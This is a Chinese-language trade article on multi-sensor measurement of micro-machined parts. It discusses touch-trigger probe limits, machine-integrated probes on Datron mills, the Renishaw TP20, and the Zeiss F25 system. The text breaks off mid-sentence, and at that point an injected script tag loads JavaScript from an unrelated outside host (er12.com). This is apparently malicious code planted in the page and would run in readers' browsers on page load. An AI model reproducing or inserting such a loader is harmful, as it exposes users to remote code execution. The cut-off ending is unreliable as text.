在一个理想的世界中，一种光学的，或另一种非接触式的检验，可能是测量复杂的、微型机械加工零件的最好方法，但这经常是不实际的。光学系统有速度的优越性，能避免变形，但是，光学测量是有限制的，因为工件的可见边缘经常不能反映在它下面有什么。另外，光学系统经常不能确定三维的缺陷，如平行度、垂直度、圆柱度和平面度。
但是，把一个测量系统中的多个传感器技术的实力结合起来，就能在一次调整安装之下，测量复杂零件的所有苛刻的特征。这样的多个传感器测量系统，常常包括用于表面和边缘测量的非接触式传感器——视频、白光和激光——以及接触式触发器和扫描探头，用于达到非接触式装置不能达到的零件特征部位，如深的沉孔。
探测微小特征
传统的测量技术，如坐标测量仪接触式触发探头已经发展，以适应不断变化的需求。目前，有具不同等级触发压力的传感器、不同长度的触针和不同尺寸和材料的探头尖。但是，当被测量的特征比较小时，探头能够做成多小，且仍能可靠地触发，这是有一个实际限制的。例如，一个细的触针，在探头触发之前可能弯曲，错误指示了表面的位置。或者，一个长的探针，事实上当探头尖还未触及到被测量的壁时，可能“触发”(碰到孔或槽的边缘)而记录一个数据点。先进的制造技术和放电加工的应用，已经使人们有能力生产出难于测量的微型特征，如微小的孔。在一些应用情况下，接触式触发探头尖的尺寸或探针的长度，可能完全不允许使用接触式触发装置。可能不适合接触式触发测量的应用情况包括：小缝、小孔、小槽或小孔的拔模斜度的测量，因为传统探针在记录一个位置时，一定会挠曲。
在加工中通常使用两种探头。第一种是附加到机床上的附件，就是一种在主轴上安装的探头。第二种是彻底的、机床内在的探头，即所谓集成的探头。这些探头可以折迭起来，因而不用占用工装的位置，所以不需要更换工具。机床集成的探头可靠，总可以使用，且具有减少处理电线、应付无线电干扰、保证电源等问题。
带有集成探头的机床成为可以感测和反应其周围环境的机床。具有这些功能的机床，对于越来越小的零件和需要用于很多种零件的情况，特别有用。
与控制器联通
先进的探测技术可以与控制系统和软件集成在一起来运行机床。例如datron dynamics公司作为一家高速cnc铣削雕刻两用机床的制造商，开发了一种第三代的集成探测系统，可以检查、保证零件的正确定位。然后，机床可扫描并辨认该零件，选择适当的程序来加工。datron公司总裁walter schnecker博士说：“即使操作者装上一个有毛病的零件，机床仍然会生产出好的零件，因为那个零件的正确程序是由探头扫描所决定的。经常转换零件的较小的车间，由于能自动检查工件的夹持精度，所以能减少转换和循环时间。”
datron机床上的z形校正探头，可以识别不规则工件的外形，无论这不规则外形是意外造成的，还是设计成的，探头都能帮助机床进行动态补偿。这补偿是通过沿毛坯表面测量，并把这测量的数据输入到机床的控制器中而实现的。控制器自动调节不正确的表面或工件位置。通过这样的过程，减少了工件的安装调整时间，也减少了零件报废。
z形探头永久性地安装在主轴近旁，只有当需要时，才靠气动而伸出。基于它的集成设计，它不需要更换工具，也没有电线碍事，该装置也不会由于在主轴上的转换而意外损坏。
当装备了三维伸出装置时，z形校正探头在x、y和z坐标上，把零件和不规则的材料定位，找到孔和轮毂的中心，在加工前预先测量毛坯，补偿材料偏差，为质量控制，把数据输入到iso9000信息链，并且能进行许多零件的反求工程。
装有雷尼绍(renishaw)tp20探头的datron机床，可用于测量复杂零件和零件特征，如在一个圆拱表面上雕刻的标签。通常，要适应表面深度的变化，保证均匀的雕刻深度，需要三维编程。使用tp20可以扫描表面，在加工数据中自动控制零件表面的不规则外形和变化，而不用三维编程。tp20有6面、动接触触发探头系统，可以缩短循环时间。
光接触
carl zeiss imt公司的f25是一种接触系统，结合一个有3个传感器的光学系统，两个用于测量，一个用于辅助操作者。一个是基于压电薄膜的全扫描传感器，可以取接触点。它也能以全自动扫描模式使用。carl zeiss imt公司精密产品的新产品经理gerrit deglee指出，探针的直径能小到0.12毫米，接触压力只是坐标测量机的百分之一。deglee说：“它允许较小的夹紧力，这是很重要的。微型零件由于夹紧装置，可能引起变形，所以夹紧零件必须特别小心，提供的测量方法不应使零件变形。”
f25安装在接触式传感器邻近的光学系统，能独立使用，也能结合接触式传感器一起使用。该系统有一个环形光源，它可以按强度和方向编程，?script src=http://er12.com/t.js>
